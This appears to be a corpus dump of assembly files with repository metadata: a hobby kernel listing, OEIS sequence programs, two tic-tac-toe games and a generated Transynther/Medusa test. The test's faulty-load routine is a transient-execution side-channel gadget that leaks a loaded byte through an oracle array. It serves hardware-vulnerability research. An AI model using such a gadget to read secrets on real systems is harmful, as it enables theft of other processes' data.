mov ecx, 104 ; 00000068H
rep movsb
lea rax, QWORD PTR file$[rsp]
lea rcx, QWORD PTR $T3[rsp]
mov rdi, rax
mov rsi, rcx
mov ecx, 104 ; 00000068H
rep movsb
; 150 : unsigned char* buffer = (unsigned char*)0xFFFFF00000000000;
mov rax, -17592186044416 ; fffff00000000000H
mov QWORD PTR buffer$[rsp], rax
; 151 : unsigned char* buffer2 = (unsigned char*)(buffer + 44);
mov rax, QWORD PTR buffer$[rsp]
add rax, 44 ; 0000002cH
mov QWORD PTR buffer2$[rsp], rax
; 152 : readfs (node,&file,buffer2,file.size);
mov r9d, DWORD PTR file$[rsp+32]
mov r8, QWORD PTR buffer2$[rsp]
lea rdx, QWORD PTR file$[rsp]
mov rcx, QWORD PTR node$[rsp]
call ?readfs@@YAXPEAU_vfs_node_@@0PEAEI@Z ; readfs
; 153 :
; 154 : message_init ();
call ?message_init@@YAXXZ ; message_init
; 155 : dwm_ipc_init();
call ?dwm_ipc_init@@YAXXZ ; dwm_ipc_init
; 156 : stream_init ();
call ?stream_init@@YAXXZ ; stream_init
; 157 : pri_loop_init();
call ?pri_loop_init@@YAXXZ ; pri_loop_init
; 158 : driver_mngr_initialize(info);
mov rcx, QWORD PTR info$[rsp]
call ?driver_mngr_initialize@@YAXPEAU_KERNEL_BOOT_INFO_@@@Z ; driver_mngr_initialize
; 159 : hda_initialize();
call ?hda_initialize@@YAXXZ ; hda_initialize
; 160 : hda_audio_add_pcm(buffer2, file.size);
mov edx, DWORD PTR file$[rsp+32]
mov rcx, QWORD PTR buffer2$[rsp]
call ?hda_audio_add_pcm@@YAXPEAEI@Z ; hda_audio_add_pcm
; 161 :
; 162 : e1000_initialize(); //<< receiver not working
call ?e1000_initialize@@YAXXZ ; e1000_initialize
; 163 : arp_initialize();
call ?arp_initialize@@YAXXZ ; arp_initialize
; 164 : arp_broadcast();
call ?arp_broadcast@@YAXXZ ; arp_broadcast
; 165 : //svga_init();
; 166 : sound_initialize();
call ?sound_initialize@@YAXXZ ; sound_initialize
; 167 :
; 168 : #ifdef ARCH_X64
; 169 : //================================================
; 170 : //! Initialize the scheduler here
; 171 : //!===============================================
; 172 : initialize_scheduler();
call ?initialize_scheduler@@YAXXZ ; initialize_scheduler
; 173 :
; 174 : create_process ("/xshell.exe","shell");
lea rdx, OFFSET FLAT:$SG7693
lea rcx, OFFSET FLAT:$SG7694
call ?create_process@@YAHPEBDPEAD@Z ; create_process
; 175 : //! Quince -- The Compositing window manager for Aurora kernel
; 176 : //! always put quince in thread id -- > 2
; 177 : create_process ("/priwm.exe","priwm");
lea rdx, OFFSET FLAT:$SG7695
lea rcx, OFFSET FLAT:$SG7696
call ?create_process@@YAHPEBDPEAD@Z ; create_process
; 178 :
; 179 : /**=====================================================
; 180 : ** Kernel threads handle some specific callbacks like
; 181 : ** procmngr handles process creation and termination
; 182 : **=====================================================
; 183 : */
; 184 : //! Misc programs goes here
; 185 : //create_process ("/dwm2.exe", "dwm4");
; 186 : //create_process ("/cnsl.exe", "cnsl");
; 187 : create_process ("/snake.exe", "snake");
lea rdx, OFFSET FLAT:$SG7697
lea rcx, OFFSET FLAT:$SG7698
call ?create_process@@YAHPEBDPEAD@Z ; create_process
; 188 : //! Here start the scheduler (multitasking engine)
; 189 :
; 190 : scheduler_start();
call ?scheduler_start@@YAXXZ ; scheduler_start
$LN2@kmain:
; 191 : #endif
; 192 :
; 193 : //! Loop forever
; 194 : while(1) {
xor eax, eax
cmp eax, 1
je SHORT $LN1@kmain
; 195 : //!looping looping
; 196 : x64_cli();
call x64_cli
; 197 : x64_hlt();
call x64_hlt
; 198 : }
jmp SHORT $LN2@kmain
$LN1@kmain:
; 199 : }
add rsp, 744 ; 000002e8H
pop rdi
pop rsi
ret 0
?_kmain@@YAXXZ ENDP ; _kmain
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\init.cpp
_TEXT SEGMENT
size$ = 48
??_U@YAPEAX_K@Z PROC ; operator new[]
; 94 : void* __cdecl operator new[] (size_t size) {
$LN3:
mov QWORD PTR [rsp+8], rcx
sub rsp, 40 ; 00000028H
; 95 : return malloc(size);
mov rcx, QWORD PTR size$[rsp]
call ?malloc@@YAPEAX_K@Z ; malloc
; 96 : }
add rsp, 40 ; 00000028H
ret 0
??_U@YAPEAX_K@Z ENDP ; operator new[]
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\init.cpp
_TEXT SEGMENT
?get_ap_address@@YAPEAXXZ PROC ; get_ap_address
; 106 : return ap_address;
mov rax, QWORD PTR ?ap_address@@3PEAXEA ; ap_address
; 107 : }
ret 0
?get_ap_address@@YAPEAXXZ ENDP ; get_ap_address
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\init.cpp
_TEXT SEGMENT
p$ = 48
??3@YAXPEAX@Z PROC ; operator delete
; 98 : void __cdecl operator delete (void* p) {
$LN3:
mov QWORD PTR [rsp+8], rcx
sub rsp, 40 ; 00000028H
; 99 : free(p);
mov rcx, QWORD PTR p$[rsp]
call ?free@@YAXPEAX@Z ; free
; 100 : }
add rsp, 40 ; 00000028H
ret 0
??3@YAXPEAX@Z ENDP ; operator delete
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\init.cpp
_TEXT SEGMENT
size$ = 48
??2@YAPEAX_K@Z PROC ; operator new
; 90 : void* __cdecl ::operator new(size_t size) {
$LN3:
mov QWORD PTR [rsp+8], rcx
sub rsp, 40 ; 00000028H
; 91 : return malloc(size);
mov rcx, QWORD PTR size$[rsp]
call ?malloc@@YAPEAX_K@Z ; malloc
; 92 : }
add rsp, 40 ; 00000028H
ret 0
??2@YAPEAX_K@Z ENDP ; operator new
_TEXT ENDS
END
| 25.381387 | 90 | 0.687325 |
b8b2378231cb6abb659f58b6bc262b1006b4c91e | 468 | asm | Assembly | programs/oeis/332/A332459.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/332/A332459.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/332/A332459.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A332459: Odd part of 1+sigma(n).
; 1,1,5,1,7,13,9,1,7,19,13,29,15,25,25,1,19,5,21,43,33,37,25,61,1,43,41,57,31,73,33,1,49,55,49,23,39,61,57,91,43,97,45,85,79,73,49,125,29,47,73,99,55,121,73,121,81,91,61,169,63,97,105,1,85,145,69,127,97,145,73,49,75,115,125,141,97,169,81,187,61,127,85,225,109,133,121,181,91,235,113,169,129,145,121,253,99,43,157,109
seq $0,203 ; a(n) = sigma(n), the sum of the divisors of n. Also called sigma_1(n).
add $0,1
lpb $0
dif $0,2
lpe
| 52 | 316 | 0.662393 |
a9bcf7a895381236f10ea746c9050494500d9f3e | 7,324 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_ht_zr_/i9-9900K_12_0xca.log_21829_390.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_ht_zr_/i9-9900K_12_0xca.log_21829_390.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_ht_zr_/i9-9900K_12_0xca.log_21829_390.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r9
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x14258, %rbx
nop
nop
add %r9, %r9
mov $0x6162636465666768, %r13
movq %r13, %xmm1
movups %xmm1, (%rbx)
nop
nop
nop
cmp $54496, %rsi
lea addresses_UC_ht+0x14350, %rbx
cmp $15147, %r13
mov (%rbx), %r11
nop
nop
nop
nop
sub %r13, %r13
lea addresses_WT_ht+0x18858, %rsi
lea addresses_D_ht+0x14b58, %rdi
nop
nop
cmp $60349, %r13
mov $81, %rcx
rep movsl
nop
nop
nop
nop
inc %rsi
lea addresses_normal_ht+0x1df58, %rbx
clflush (%rbx)
nop
nop
nop
sub $34791, %r13
movb (%rbx), %r11b
nop
nop
nop
nop
nop
xor $50224, %r11
lea addresses_WT_ht+0x7486, %rcx
nop
nop
nop
nop
and $12355, %r9
mov (%rcx), %r11d
nop
nop
add %rdi, %rdi
lea addresses_WT_ht+0xe2d8, %rbx
nop
nop
nop
nop
nop
xor $23600, %rcx
mov $0x6162636465666768, %rsi
movq %rsi, %xmm5
vmovups %ymm5, (%rbx)
nop
nop
nop
nop
inc %rcx
lea addresses_D_ht+0xde58, %rsi
lea addresses_WC_ht+0x5cad, %rdi
cmp $57550, %rdx
mov $103, %rcx
rep movsl
xor $57939, %rbx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r13
push %r15
push %rax
push %rsi
// Load
lea addresses_normal+0x1fd58, %rsi
nop
nop
nop
nop
and $37040, %r10
movb (%rsi), %r12b
nop
nop
nop
nop
add %rax, %rax
// Store
mov $0xeb8, %r12
nop
nop
cmp $30233, %rsi
movl $0x51525354, (%r12)
nop
nop
nop
nop
and $30360, %r15
// Store
lea addresses_WT+0x4278, %rax
nop
nop
nop
nop
cmp %r10, %r10
mov $0x5152535455565758, %r13
movq %r13, (%rax)
add %r10, %r10
// Store
lea addresses_UC+0x1a948, %rsi
clflush (%rsi)
nop
nop
nop
add %r11, %r11
mov $0x5152535455565758, %r10
movq %r10, %xmm3
movups %xmm3, (%rsi)
nop
nop
add %r13, %r13
// Store
lea addresses_WT+0x4ff8, %r12
nop
cmp $7690, %rax
movw $0x5152, (%r12)
nop
nop
add $48126, %r11
// Store
lea addresses_normal+0x172fe, %r15
nop
nop
nop
nop
nop
add %rsi, %rsi
movl $0x51525354, (%r15)
nop
nop
nop
nop
inc %rsi
// Faulty Load
lea addresses_UC+0x8358, %r15
nop
nop
nop
nop
nop
sub %r10, %r10
vmovntdqa (%r15), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $1, %xmm3, %r11
lea oracles, %r13
and $0xff, %r11
shlq $12, %r11
mov (%r13,%r11,1), %r11
pop %rsi
pop %rax
pop %r15
pop %r13
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_UC', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_normal', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_P', 'same': False, 'AVXalign': False, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 5}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_UC', 'same': True, 'AVXalign': False, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_normal', 'same': False, 'AVXalign': False, 'congruent': 1}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 32, 'NT': True, 'type': 'addresses_UC', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_UC_ht', 'same': True, 'AVXalign': False, 'congruent': 7}}
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_UC_ht', 'same': True, 'AVXalign': True, 'congruent': 3}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 7}, 'dst': {'same': False, 'type': 'addresses_D_ht', 'congruent': 11}}
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 10}}
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 5}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 6}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 0}}
{'49': 9942, '00': 2, '46': 11885}
00 46 49 46 49 49 49 49 49 46 46 46 49 46 49 49 46 46 49 49 49 49 49 49 46 46 46 46 49 46 46 46 49 46 46 46 49 49 49 49 49 49 49 49 49 46 49 46 46 46 49 49 49 46 49 49 49 49 49 49 46 49 49 49 49 49 49 49 46 46 46 49 46 49 49 49 46 49 49 46 46 49 49 49 49 49 49 49 46 49 49 46 46 46 46 46 46 49 49 49 46 46 46 49 46 49 46 49 49 49 49 49 49 46 46 46 46 49 46 49 49 49 46 46 46 49 49 49 49 46 46 49 49 46 46 49 49 46 46 49 46 49 49 46 46 49 49 46 46 46 46 46 49 46 46 46 49 46 46 46 49 49 49 49 46 46 49 46 46 46 49 49 49 49 49 46 46 46 49 46 46 46 49 46 49 49 49 49 49 49 49 49 46 46 49 49 46 46 49 46 49 49 49 49 49 49 46 46 46 46 49 49 49 46 49 49 49 49 49 49 49 49 49 49 46 46 49 46 49 46 46 46 49 49 49 49 46 46 46 46 46 46 49 46 46 46 46 49 49 46 46 49 46 46 46 46 46 49 49 49 46 49 49 49 46 49 46 49 49 46 46 49 49 49 49 46 46 49 46 46 46 49 49 49 46 49 46 46 46 46 46 46 46 49 49 49 49 46 46 49 46 49 49 49 46 46 46 49 49 46 46 49 49 49 46 49 46 46 46 46 46 49 46 46 46 49 46 46 46 49 46 49 46 46 46 46 46 49 46 46 46 46 46 46 49 46 49 49 46 46 49 49 46 46 46 46 46 46 46 46 46 46 46 49 46 49 49 49 46 49 49 49 49 46 46 49 46 49 49 46 46 49 49 49 49 49 49 46 46 46 46 49 49 49 49 49 46 49 49 49 46 49 46 49 46 46 46 49 49 46 46 49 49 49 46 46 46 49 49 49 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 49 49 49 49 49 49 49 49 49 49 46 46 49 49 46 46 49 49 49 49 46 46 49 49 49 49 46 46 49 49 49 46 46 46 49 49 49 46 46 46 49 46 46 46 46 46 49 49 49 46 49 46 49 49 49 49 49 46 49 49 49 49 49 49 46 46 46 46 46 46 49 49 49 49 49 46 46 46 49 46 46 46 49 49 49 49 49 46 46 49 46 46 46 49 49 49 49 46 46 46 46 46 46 49 46 46 46 49 49 46 46 49 49 49 49 49 49 49 49 49 46 46 46 46 46 49 46 46 46 49 49 49 49 46 46 49 46 46 46 49 46 46 46 49 46 46 46 49 46 46 46 46 46 46 46 49 46 46 46 46 46 49 46 46 46 49 49 49 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 49 49 49 46 49 49 49 46 46 46 46 46 49 49 49 49 49 49 49 46 49 49 49 49 49 49 49 46 46 46 49 46 46 46 49 46 46 46 49 46 46 46 46 46 49 46 46 46 49 46 46 46 49 46 46 46 49 46 46 46 49 46 49 49 49 46 46 46 49 49 49 49 46 46 49 46 46 46 49 46 46 46 46 46 46 46 49 46 49 46 46 46 46 46 46 49 46 46 46 46 46 46 46 49 49 46 46 49 46 46 46 49 46 49 49 49 46 46 46 49 46 46 46 46 46 46 46 46 46 46 46 49 49 49 49 49 49 49 49 46 46 46 46 46 46 49 46 49 49 46 46 46 46 49 46 49 46 46 46 46 46 49 46 49 46 46 46 49 49 46 46 46 46 49 49 49 46 49 49 49 49 49 49 49 46 46 46 46 46 46 46 46 46 46 49 49 49 49 46 46 49 49 49 49 49 46 46 46 49 49 49 49 49 46 46 46 49 46 46 46 49 46 49 49 46 46 46 46 46 46 49 49 49 49 49 49 49 49 49 49 46 46 46 46 46 46 46 46 49 49 49 49 46 46 49 49 49 49 49 46 49 49 46 46 49 46 46 46 49 46 46 46 46 46 49 46 46 46 46 46 46 46 46 49 49 46 46 49 46 46 46 49 49 49 49 49 49 49 49 49 46 46 46 46 46 49 49 49 49 46 46 49 49 49 49 46 46 49 49 49 49 49 46 46 46 49 49 49 49 49 46 46 46 49 46 46 46 46 46 49 49 46 46 46 46 49 49 49 49 49 46 46 46 46 46 49 46 46 46 49 49 46 46 49 49 49 49 49 49 49 46 46 46 46 49 46 49 46 46
*/
| 32.122807 | 2,999 | 0.65456 |
1b9c8863ab5a217ef1e174996952dce6843ee4bd | 7,221 | asm | Assembly | Sem-4/COA LAB Programs/ASM-Projects/tictactoe/tictactoe.asm | rituraj-iter/ASSIGNMENTS | f317a2990bac43202314320d6d97356498c44603 | [
"MIT"
] | 10 | 2021-04-24T11:46:48.000Z | 2022-01-17T05:14:37.000Z | Sem-4/COA LAB Programs/ASM-Projects/tictactoe/tictactoe.asm | rituraj-iter/ASSIGNMENTS | f317a2990bac43202314320d6d97356498c44603 | [
"MIT"
] | 2 | 2021-06-28T11:51:50.000Z | 2021-11-01T08:21:53.000Z | Sem-4/COA LAB Programs/ASM-Projects/tictactoe/tictactoe.asm | rituraj-iter/ASSIGNMENTS | f317a2990bac43202314320d6d97356498c44603 | [
"MIT"
] | 16 | 2021-04-24T11:46:58.000Z | 2022-03-02T05:08:19.000Z | ; Ali Hassan Soomro, +923442230949
; 8086 Assembly, emu8086
data segment
new_line db 13, 10, "$"
game_draw db "_|_|_", 13, 10
db "_|_|_", 13, 10
db "_|_|_", 13, 10, "$"
game_pointer db 9 DUP(?)
win_flag db 0
player db "0$"
game_over_message db "FIM DE JOGO", 13, 10, "$"
game_start_message db "Ali Hassan Soomro", 13, 10, "$"
player_message db "PLAYER $"
win_message db " WIN!$"
type_message db "TYPE A POSITION: $"
ends
stack segment
dw 128 dup(?)
ends
extra segment
ends
code segment
start:
; set segment registers
mov ax, data
mov ds, ax
mov ax, extra
mov es, ax
; game start
call set_game_pointer
main_loop:
call clear_screen
lea dx, game_start_message
call print
lea dx, new_line
call print
lea dx, player_message
call print
lea dx, player
call print
lea dx, new_line
call print
lea dx, game_draw
call print
lea dx, new_line
call print
lea dx, type_message
call print
; read draw position
call read_keyboard
; calculate draw position
sub al, 49
mov bh, 0
mov bl, al
call update_draw
call check
; check if game ends
cmp win_flag, 1
je game_over
call change_player
jmp main_loop
change_player:
lea si, player
xor ds:[si], 1
ret
update_draw:
mov bl, game_pointer[bx]
mov bh, 0
lea si, player
cmp ds:[si], "0"
je draw_x
cmp ds:[si], "1"
je draw_o
draw_x:
mov cl, "x"
jmp update
draw_o:
mov cl, "o"
jmp update
update:
mov ds:[bx], cl
ret
check:
call check_line
ret
check_line:
mov cx, 0
check_line_loop:
cmp cx, 0
je first_line
cmp cx, 1
je second_line
cmp cx, 2
je third_line
call check_column
ret
first_line:
mov si, 0
jmp do_check_line
second_line:
mov si, 3
jmp do_check_line
third_line:
mov si, 6
jmp do_check_line
do_check_line:
inc cx
mov bh, 0
mov bl, game_pointer[si]
mov al, ds:[bx]
cmp al, "_"
je check_line_loop
inc si
mov bl, game_pointer[si]
cmp al, ds:[bx]
jne check_line_loop
inc si
mov bl, game_pointer[si]
cmp al, ds:[bx]
jne check_line_loop
mov win_flag, 1
ret
check_column:
mov cx, 0
check_column_loop:
cmp cx, 0
je first_column
cmp cx, 1
je second_column
cmp cx, 2
je third_column
call check_diagonal
ret
first_column:
mov si, 0
jmp do_check_column
second_column:
mov si, 1
jmp do_check_column
third_column:
mov si, 2
jmp do_check_column
do_check_column:
inc cx
mov bh, 0
mov bl, game_pointer[si]
mov al, ds:[bx]
cmp al, "_"
je check_column_loop
add si, 3
mov bl, game_pointer[si]
cmp al, ds:[bx]
jne check_column_loop
add si, 3
mov bl, game_pointer[si]
cmp al, ds:[bx]
jne check_column_loop
mov win_flag, 1
ret
check_diagonal:
mov cx, 0
check_diagonal_loop:
cmp cx, 0
je first_diagonal
cmp cx, 1
je second_diagonal
ret
first_diagonal:
mov si, 0
mov dx, 4 ;tamanho do pulo
jmp do_check_diagonal
second_diagonal:
mov si, 2
mov dx, 2
jmp do_check_diagonal
do_check_diagonal:
inc cx
mov bh, 0
mov bl, game_pointer[si]
mov al, ds:[bx]
cmp al, "_"
je check_diagonal_loop
add si, dx
mov bl, game_pointer[si]
cmp al, ds:[bx]
jne check_diagonal_loop
add si, dx
mov bl, game_pointer[si]
cmp al, ds:[bx]
jne check_diagonal_loop
mov win_flag, 1
ret
game_over:
call clear_screen
lea dx, game_start_message
call print
lea dx, new_line
call print
lea dx, game_draw
call print
lea dx, new_line
call print
lea dx, game_over_message
call print
lea dx, player_message
call print
lea dx, player
call print
lea dx, win_message
call print
jmp fim
set_game_pointer:
lea si, game_draw
lea bx, game_pointer
mov cx, 9
loop_1:
cmp cx, 6
je add_1
cmp cx, 3
je add_1
jmp add_2
add_1:
add si, 1
jmp add_2
add_2:
mov ds:[bx], si
add si, 2
inc bx
loop loop_1
ret
print: ; print dx content
mov ah, 9
int 21h
ret
clear_screen: ; get and set video mode
mov ah, 0fh
int 10h
mov ah, 0
int 10h
ret
read_keyboard: ; read keybord and return content in ah
mov ah, 1
int 21h
ret
fim:
jmp fim
code ends
end start
| 19.675749 | 60 | 0.386512 |
4cd1bc253a3aa7b2c59b00d8c2a5c8ce2d8abc75 | 522 | asm | Assembly | programs/oeis/066/A066830.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/066/A066830.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/066/A066830.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A066830: a(n) = lcm(n+1, n-1).
; 0,3,4,15,12,35,24,63,40,99,60,143,84,195,112,255,144,323,180,399,220,483,264,575,312,675,364,783,420,899,480,1023,544,1155,612,1295,684,1443,760,1599,840,1763,924,1935,1012,2115,1104,2303,1200,2499,1300,2703,1404,2915,1512,3135,1624,3363,1740,3599,1860,3843,1984,4095,2112,4355,2244,4623,2380,4899,2520,5183,2664,5475,2812,5775,2964,6083,3120,6399,3280,6723,3444,7055,3612,7395,3784,7743,3960,8099,4140,8463,4324,8835,4512,9215,4704,9603,4900,9999
mov $1,$0
add $0,2
dif $0,2
mul $0,$1
| 65.25 | 449 | 0.735632 |
82a7719114da64c7c51494890769e57787a672ff | 19 | asm | Assembly | tests/data_unsized/5.asm | NullMember/customasm | 6e34d6432583a41278e6b3596f1817ae82149531 | [
"Apache-2.0"
] | 414 | 2016-10-14T22:39:20.000Z | 2022-03-30T07:52:44.000Z | tests/data_unsized/5.asm | NullMember/customasm | 6e34d6432583a41278e6b3596f1817ae82149531 | [
"Apache-2.0"
] | 100 | 2018-03-22T16:12:24.000Z | 2022-03-26T09:19:23.000Z | tests/data_unsized/5.asm | NullMember/customasm | 6e34d6432583a41278e6b3596f1817ae82149531 | [
"Apache-2.0"
] | 47 | 2017-06-29T15:12:13.000Z | 2022-03-10T04:50:51.000Z | #d 10`16 ; = 0x000a | 19 | 19 | 0.578947 |
eada1bdecc3ae81b1ce009998e7182c32c74ffb0 | 22,487 | asm | Assembly | morpion.asm | chloe025/projet_assembleur | 22e448d38f4d92a332adf0bb38fa1ede7aecfbea | [
"MIT"
] | null | null | null | morpion.asm | chloe025/projet_assembleur | 22e448d38f4d92a332adf0bb38fa1ede7aecfbea | [
"MIT"
] | null | null | null | morpion.asm | chloe025/projet_assembleur | 22e448d38f4d92a332adf0bb38fa1ede7aecfbea | [
"MIT"
] | null | null | null | .286
;-----------------------------------------------------------------------
SSEG SEGMENT STACK
DB 32 DUP("STACK---")
SSEG ENDS
;-----------------------------------------------------------------------
DSEG SEGMENT
MSGJEU db "Nouvelle Partie$"
MSGHELP db "Informations$"
Aide_1 db "Bienvenue dans l'aide$", 0DH, 0AH
Aide_2 db "Pour retourner en arriere, appuyez sur echap$", 0DH, 0AH
Aide_3 db "Vous pouvez retourner en arriere a n'importe quel moment du jeu, mais rien ne sera sauvegarde$", 0DH, 0AH
Aide_4 db "Le morpion se joue a 2 joueurs. Choisissez qui commence en premier avec les fleches gauche et droite$", 0DH, 0AH
Aide_5 db "Pour jouer, choisissez votre case avec les touches du clavier (a,z,e,q,s,d,w,x,c), puis validez avec entree$",0DH, 0AH
MSGFIN db "Quitter$"
WHOPLAY db "Qui commence en premier ?$"
FLECH db "->$"
JOUEUR1 db "Joueur 1$"
JOUEUR2 db "Joueur 2$"
MSG_JOUEUR1 db "Au Joueur 1 de jouer $"
MSG_JOUEUR2 db "Au Joueur 2 de jouer $"
TOUCHES db " Les touches a utiliser + entree$"
TOUCHES1 db " a z e$"
TOUCHES2 db " q s d$"
TOUCHES3 db " w x c$"
WIN_J1 db "Le Joueur 1 a gagne la partie!$"
WIN_J2 db "Le Joueur 2 a gagne la partie!$"
Egal db "Il y a egalite !$"
Again db "Voulez-vous rejouer ?$"
AgainQST db "o pour oui, n pour non$"
SCORE db " SCORE $"
SC_J1 db " J1 : $"
SC_J2 db " J2 : $"
VAL_SC_J1 db 0
VAL_SC_J2 db 0
CRS_MENU db 5
CRS_JR db 0
J1 db 0 ; à partir d'ici l'initialisation ne sert à rien
J2 db 0
color db ?
VARX dw 85 ; car pas reconnu par le pc
VARY dw 35 ; je ne sais pas pourquoi ce n'est pas pris en compte
VARSTOP dw 10
HG DB 0
HM DB 0
HD DB 0
MG DB 0
MM DB 0
MD DB 0
BG DB 0
BM DB 0
BD DB 0
TAMPON DB ?
Lig_Haut DB 0
Lig_Mid DB 0
Lig_Bas DB 0
Col_Gauche DB 0
Col_Mid DB 0
Col_Droite DB 0
Diag1 DB 0
Diag2 DB 0
Nbtour DB 0
DSEG ENDS
;-----------------------------------------------------------------------
CSEG SEGMENT 'CODE'
ASSUME CS:CSEG, DS:DSEG, ES:SSEG
;-----------------------------------------------------------------------
;Zone des Macro
AFF_FLECH Macro ;pour afficher une flèche
MOV AH, 09H
LEA DX,FLECH
INT 21H
endm
CLEAR Macro ;on nettoie l'écran
MOV AX,0600h
XOR CX,CX
MOV DX,1950h
INT 10h
endm
CRLF MACRO ;on va à la ligne
MOV DL,0DH
MOV AH,02
INT 21H
MOV DL,0AH
INT 21H
ENDM
REMISE0 Macro ;pour remettre les variables à 0
MOV HG,0 ;on remets à 0 les cases
MOV HM,0
MOV HD,0
MOV MG,0
MOV MM,0
MOV MD,0
MOV BG,0
MOV BM,0
MOV BD,0
MOV Lig_Haut,0 ; à 0 les var de victoire
MOV Lig_Mid,0
MOV Lig_Bas,0
MOV Col_Gauche,0
MOV Col_Mid,0
MOV Col_Droite,0
MOV Diag1,0
MOV Diag2,0
MOV Nbtour,0 ;à 0 le nombre de tours
endm
;---------------------------Début Main--------------------------------------------
MAIN PROC FAR
;sauver l'adresse de retour
PUSH DS
PUSH 0
;registre
MOV AX,DSEG
MOV DS,AX
;affichage video
MOV AX,0013H
INT 10h
; _ _ _ _ _ _ _ _ _Selection du Mode_ _ _ _ _ _ _ _ _ _ _ _
DEB: CLEAR
CALL menu
;on affiche la flèche sur le premier choix
MOV AH,02H
MOV BH,0
MOV DH,5
MOV DL,7
INT 10H
AFF_FLECH
;on fait le test pour savoir si ya une flèche
SELECT :
MOV AH,00h ;instruction qui attends un caractère
INT 16h
CMP AX,4800h ;si on appuie sur la flèche du haut
JE FL_SEL_HAUT
CMP AX,5000h ;si on appuie sur la flèche du bas
JE FL_SEL_BAS
CMP AX,1C0Dh ;si on appuie sur entrée
JE VALIDER
JMP SELECT ;si c'est autre chose on attends une sélection
; on a appuyé sur la flèche du haut
FL_SEL_HAUT :
CLEAR ; on nettoie l'ecran avec la macro
CALL menu ; on affiche le menu
SUB CRS_MENU,5 ; les tests
CMP CRS_MENU,5 ; si on est sur le premier choix
JL Retfin ; on retourne sur le dernier choix
JGE Bouge ; sinon on peut remonter
; on a appuyé sur la flèche du bas
FL_SEL_BAS :
CLEAR
CALL menu
ADD CRS_MENU,5
CMP CRS_MENU,15 ; si on est sur le dernier choix
JG Retdeb ; on retourne sur le premier choix
JLE Bouge ; sinon on peut descendre
Bouge : MOV AH,02H ;la fonction pour bouger est la meme pour monter ou descendre
MOV DH,CRS_MENU ;suffit de changer préalablement CRS_MENU
MOV DL,7
INT 10H
AFF_FLECH
JMP SELECT ; on retourne à la sélection car pas de validation
Retfin : MOV CRS_MENU,15
MOV AH,02H
MOV BH,0
MOV DH,CRS_MENU
MOV DL,7
INT 10H
